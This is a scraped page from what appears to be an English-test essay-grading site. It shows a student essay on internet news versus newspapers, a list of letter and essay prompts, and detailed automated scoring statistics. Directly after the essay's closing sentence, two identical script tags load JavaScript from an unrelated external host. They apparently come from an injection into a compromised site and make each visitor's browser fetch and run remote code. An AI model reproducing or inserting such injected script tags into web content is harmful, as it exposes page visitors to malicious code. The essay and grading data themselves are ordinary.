These days even though there has been a rise in the number of people that prefer reading the news on the internet, some school of thought believe that newspapers will continue to be main medium of news. In my opinion, I disagree with this belief as news is quickly available on the internet and also their authenticity can be verified.
To begin with, when an incident occurs the article is first published on the internet. Thus, people can be updated with latest happenings on real time basis. Whereas on the other hand, there is a delay with regards to newspaper as the news will be reflected next day. Secondly, in this fast paced world and with technology gaining popularity many read the news on their phones rather than buying a newspaper. For example, if a safety warning has to be issued in case of a natural calamity it is done via the internet since it has a wider reach and evacuation procedures can be carried out immediately. Therefore, due to it's convenience and quick turnaround, people rely on the internet.
Moreover, currently there are a number of news channels available on the internet and due to the cut throat competition, all of them aim to be the first to report any breaking news. This is advantageous to the audience, who can always compare them with another source if any fact has been wrongly reported. Conversely, when a newspaper makes an error, the consumers will be unaware and they can rectify the same only in the next day's issue. Consequently, news on the internet is more reliable as any misleading information can cost them a major setback.
To recapitulate, the trend of people using internet as a source of being informed instead of the newspaper is slowly and steadily increasing mainly due to its speedy reporting and easily comparable nature. Nowadays newspaper may not be the most dependable carrier of news.<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
- There have been some problems with the bus service especially its reliability in your area over the last two weeks Write a letter to the manager of the bus company In your letter describe what the problems are explain how these problems are affecting you 90
- Your family is moving to a new city Write a letter to the real estate agency in your new city to enquire about a rental house In your letter you should tell explain when you are moving and the reason describe where you would like to live mention the type 63
- You recently used a taxi and left some important documents there. Write a letter to the taxi manager and say-describe what you left and where it happened-why are these papers important-what would you like the manager to do about it 67
- A friend has agreed to look after your house and pet while you are on holiday.Write a letter to your friend. In your letter⦁give contact details for when you are away⦁give instructions about how to care for your pet⦁describe other household duties 64
- Some people think that people who are over 60 years old should not work ans should be made to retire. To what extent do you agree or disagree? 89
Grammar and spelling errors:
Line 3, column 116, Rule ID: THE_SUPERLATIVE[2]
Message: A determiner is probably missing here: 'with the latest'.
Suggestion: with the latest
...e internet. Thus, people can be updated with latest happenings on real time basis. Whereas ...
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Line 3, column 343, Rule ID: MANY_NN[1]
Message: Possible agreement error. The noun read seems to be countable; consider using: 'many reads'.
Suggestion: many reads
... and with technology gaining popularity many read the news on their phones rather than bu...
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Transition Words or Phrases used:
also, consequently, conversely, first, if, may, moreover, second, secondly, so, then, therefore, thus, whereas, as to, for example, in my opinion, to begin with, on the other hand
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 20.0 13.1623246493 152% => OK
Auxiliary verbs: 10.0 7.85571142285 127% => OK
Conjunction : 8.0 10.4138276553 77% => OK
Relative clauses : 5.0 7.30460921844 68% => More relative clauses wanted.
Pronoun: 18.0 24.0651302605 75% => OK
Preposition: 43.0 41.998997996 102% => OK
Nominalization: 5.0 8.3376753507 60% => More nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 1542.0 1615.20841683 95% => OK
No of words: 320.0 315.596192385 101% => OK
Chars per words: 4.81875 5.12529762239 94% => OK
Fourth root words length: 4.22948505376 4.20363070211 101% => OK
Word Length SD: 2.70802482217 2.80592935109 97% => OK
Unique words: 179.0 176.041082164 102% => OK
Unique words percentage: 0.559375 0.561755894193 100% => OK
syllable_count: 490.5 506.74238477 97% => OK
avg_syllables_per_word: 1.5 1.60771543086 93% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 3.0 5.43587174349 55% => OK
Article: 2.0 2.52805611222 79% => OK
Subordination: 3.0 2.10420841683 143% => OK
Conjunction: 0.0 0.809619238477 0% => OK
Preposition: 4.0 4.76152304609 84% => OK
Performance on sentences:
How many sentences: 14.0 16.0721442886 87% => OK
Sentence length: 22.0 20.2975951904 108% => OK
Sentence length SD: 46.2120224661 49.4020404114 94% => OK
Chars per sentence: 110.142857143 106.682146367 103% => OK
Words per sentence: 22.8571428571 20.7667163134 110% => OK
Discourse Markers: 12.7857142857 7.06120827912 181% => OK
Paragraphs: 4.0 4.38176352705 91% => OK
Language errors: 2.0 5.01903807615 40% => OK
Sentences with positive sentiment : 6.0 8.67935871743 69% => OK
Sentences with negative sentiment : 4.0 3.9879759519 100% => OK
Sentences with neutral sentiment: 4.0 3.4128256513 117% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.278946140139 0.244688304435 114% => OK
Sentence topic coherence: 0.101837179423 0.084324248473 121% => OK
Sentence topic coherence SD: 0.0642043010477 0.0667982634062 96% => OK
Paragraph topic coherence: 0.186903100143 0.151304729494 124% => OK
Paragraph topic coherence SD: 0.0407502778235 0.056905535591 72% => OK
Essay readability:
automated_readability_index: 12.7 13.0946893788 97% => OK
flesch_reading_ease: 57.61 50.2224549098 115% => OK
smog_index: 8.8 7.44779559118 118% => OK
flesch_kincaid_grade: 10.7 11.3001002004 95% => OK
coleman_liau_index: 10.97 12.4159519038 88% => OK
dale_chall_readability_score: 8.68 8.58950901804 101% => OK
difficult_words: 80.0 78.4519038076 102% => OK
linsear_write_formula: 10.5 9.78957915832 107% => OK
gunning_fog: 10.8 10.1190380762 107% => OK
text_standard: 11.0 10.7795591182 102% => OK
What are above readability scores?
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Rates: 73.0337078652 out of 100
Scores by essay e-grader: 6.5 Out of 9
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